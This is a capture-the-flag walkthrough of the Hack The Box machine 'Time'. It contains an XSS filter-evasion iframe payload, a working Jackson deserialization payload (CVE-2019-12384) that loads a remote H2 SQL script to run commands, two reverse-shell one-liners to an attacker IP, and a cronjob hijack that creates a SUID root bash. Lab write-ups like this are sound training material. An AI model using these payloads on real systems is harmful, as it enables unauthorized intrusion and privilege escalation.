6 minute read

Introduction


Time is a medium machine rated 3.5, which is decent. I exploited a JSON validator, which works with Jackson (a java JSON library). To become root, I exploited a cronjob. Without further ado, let’s start enumerating the machine.

Enumeration


I start by perfoming some nmap scans and then enumerate each service.

Nmap Scan


For this task I use the nmap automator, here are the results of the full scan:

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

On those open ports, the automator will perform a script scan

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 0f:7d:97:82:5f:04:2b:e0:0a:56:32:5d:14:56:82:d4 (RSA)
|   256 24:ea:53:49:d8:cb:9b:fc:d6:c4:26:ef:dd:34:c1:1e (ECDSA)
|_  256 fe:25:34:e4:3e:df:9f:ed:62:2a:a4:93:52:cc:cd:27 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Only 2 open ports found, there are no UDP ports open.

Service Enumeration


The SSH version is not vulnerable, so I can start with the enumeration of the web server. Here are the results of the gobuster scan:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/time]
└─$ gobuster dir -u http://time.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.txt -x php,html,log,txt 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://time.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,html,log,txt
[+] Timeout:                 10s
===============================================================
2021/09/29 07:51:22 Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 3813]
/images               (Status: 301) [Size: 305] [--> http://time.htb/images/]
/css                  (Status: 301) [Size: 302] [--> http://time.htb/css/]   
/js                   (Status: 301) [Size: 301] [--> http://time.htb/js/]    
/javascript           (Status: 301) [Size: 309] [--> http://time.htb/javascript/]
/vendor               (Status: 301) [Size: 305] [--> http://time.htb/vendor/]    
/fonts                (Status: 301) [Size: 304] [--> http://time.htb/fonts/]

All the directories can’t be accessed, so I just open the page. On the page, there is a json validator/beautifuller.

I make a quick check and see that it works.

Untitled

So let’s try to inject code:

Untitled

So there is some type of validation, maybe I can generate a payload that bypasses the filter.

Breaking the Filter


For this, I use the OWASP XSS Filter Evasion Cheat Sheet:

XSS Filter Evasion - OWASP Cheat Sheet Series

I tried many payloads, but the following one worked for me:

{
"name":"<iframe src=http://10.10.16.6/index.html <"
}

It looks like this on the JSON validator (make sure that you started the web server on your local machine)

Untitled

This basically just loads an iframe into the page. When loading a JavaScript document, it does not work. When using the validator instead of beautifier, I get the following error message:

Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object

This is a java error, telling me that the backend is running java. To validate JSON, it uses the Jackson package. So I searched through the internet. I found a lot of CVEs for Jackson, but none of them worked, until I found this page (CVE-2019-12384):

Jackson gadgets - Anatomy of a vulnerability

To test, I used this payload:

["ch.qos.logback.core.db.DriverManagerConnectionSource", 
{"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'"}]

When sending this payload, I get another error message, which shows me that this method works:

Validation failed: 2021-09-29 08:55:39 lock: 3 shared read lock unlock SYS

So I can try to get a connection to my local web server running on my kali machine:

["ch.qos.logback.core.db.DriverManagerConnectionSource", 
{"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.16.6/inject.sql'"}]

Look at the web server:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/time]
└─$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.214 - - [29/Sep/2021 10:49:19] code 404, message File not found
10.10.10.214 - - [29/Sep/2021 10:49:19] "GET /inject.sql HTTP/1.1" 404 -

So there is the way to execute code on this system.

Exploitation


Above the sample payload, there is a sample SQL (you can only run SQL commands). This SQL code can execute commands in a java shell. So let’s use this to ping my machine:

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
	String[] command = {"bash", "-c", cmd};
	java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
	return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('ping -c 4 10.10.16.6')

You can use the same payload to trigger to download of the SQL file. Start up tcpdump and look at it:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/time]
└─$ sudo tcpdump -ni tun0 icmp
[sudo] password for user: 
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
10:58:53.061512 IP 10.10.10.214 > 10.10.16.6: ICMP echo request, id 1, seq 1, length 64
10:58:53.061601 IP 10.10.16.6 > 10.10.10.214: ICMP echo reply, id 1, seq 1, length 64
10:58:54.063041 IP 10.10.10.214 > 10.10.16.6: ICMP echo request, id 1, seq 2, length 64
10:58:54.063102 IP 10.10.16.6 > 10.10.10.214: ICMP echo reply, id 1, seq 2, length 64
10:58:55.064933 IP 10.10.10.214 > 10.10.16.6: ICMP echo request, id 1, seq 3, length 64
10:58:55.064995 IP 10.10.16.6 > 10.10.10.214: ICMP echo reply, id 1, seq 3, length 64
10:58:56.064922 IP 10.10.10.214 > 10.10.16.6: ICMP echo request, id 1, seq 4, length 64
10:58:56.064968 IP 10.10.16.6 > 10.10.10.214: ICMP echo reply, id 1, seq 4, length 64

That worked well. Let’s create a simple bash reverse shell:

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
	String[] command = {"bash", "-c", cmd};
	java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
	return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('bash -c "bash -i >& /dev/tcp/10.10.16.6/443 0>&1"')

Start a netcat listener, update the inject.sql file and run the trigger the download again. Check the netcat listener:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/time]
└─$ nc -lvnp 443   
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.214] 33052
bash: cannot set terminal process group (861): Inappropriate ioctl for device
bash: no job control in this shell
pericles@time:/var/www/html$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
pericles@time:/var/www/html$ 

pericles@time:/var/www/html$ export TERM=xterm
export TERM=xterm
pericles@time:/var/www/html$ ^Z
zsh: suspended  nc -lvnp 443

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/time]
└─$ stty raw -echo; fg
[1]  + continued  nc -lvnp 443

pericles@time:/var/www/html$ ^C
pericles@time:/var/www/html$ id
uid=1000(pericles) gid=1000(pericles) groups=1000(pericles)

And there is the shell as user pericles (I also upgraded it so that shortcuts work).

User Flag


Let’s try to get that user flag:

pericles@time:/var/www/html$ cd /home/pericles/
pericles@time:/home/pericles$ ls
snap  user.txt
pericles@time:/home/pericles$ cat user.txt
a2**************************ec0e

Privilege Escalation


I ran LinPEAS, here is the most interesting thing that I found:

╔══════════╣ Interesting GROUP writable files (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files
  Group pericles:
/usr/bin/timer_backup.sh

It’s a script called timer_backup.sh to which I can write to. The name timer could mean that the script is executed in a time interval. So let’s view the contents of this file and check if it’s really world writable:

pericles@time:/usr/bin$ cat timer_backup.sh 
#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip
pericles@time:/usr/bin$ ls -l timer_backup.sh 
-rwxrw-rw- 1 pericles pericles 88 Sep 29 12:25 timer_backup.sh

The file creates a backup and stores it in the root directory. So it must run as root. I will try to get a reverse shell using this file:

pericles@time:/tmp$ cat /usr/bin/timer_backup.sh 
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.6 443 >/tmp/f

A reverse shell spawns, but it quickly dies (approximately after 10 seconds). So I need to create rootbash (copy of /bin/bash with the SUID bit set). I tried /tmp, but the user pericles could not see it (I checked it later with root permissions and it exists). So I tried the home directory of the user pericles.

Change the script so that it looks like this (no reverse shell needed):

pericles@time:/dev/shm$ cat /usr/bin/timer_backup.sh 
#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip
cp /bin/bash /home/pericles/rootbash && chmod +s /home/pericles/rootbash

That worked, bash was copied and the SUID bit was set:

pericles@time:/home/pericles$ ls -l
total 2448
-rwsr-sr-x 1 root     root     1183448 Sep 29 19:11 rootbash
drwxr-xr-x 3 pericles pericles    4096 Oct  2  2020 snap
-r-------- 1 pericles pericles      33 Sep 29 05:45 user.txt

I can now get a shell with root permissions:

pericles@time:/home/pericles$ ./rootbash -p
rootbash-5.0# id
uid=1000(pericles) gid=1000(pericles) euid=0(root) egid=0(root) groups=0(root),1000(pericles)

There you have the root shell.

Root Flag


It’s time to get the root flag:

rootbash-5.0# cd /root
rootbash-5.0# ls
backup.zip  root.txt  snap  timer_backup.sh
rootbash-5.0# cat root.txt
fa**************************207d

Conclusions


This box was fun to solve and I learned a lot. It was not that hard but still required some research. I can recommend trying this machine yourself, it’s also a good practice for the OSCP exam.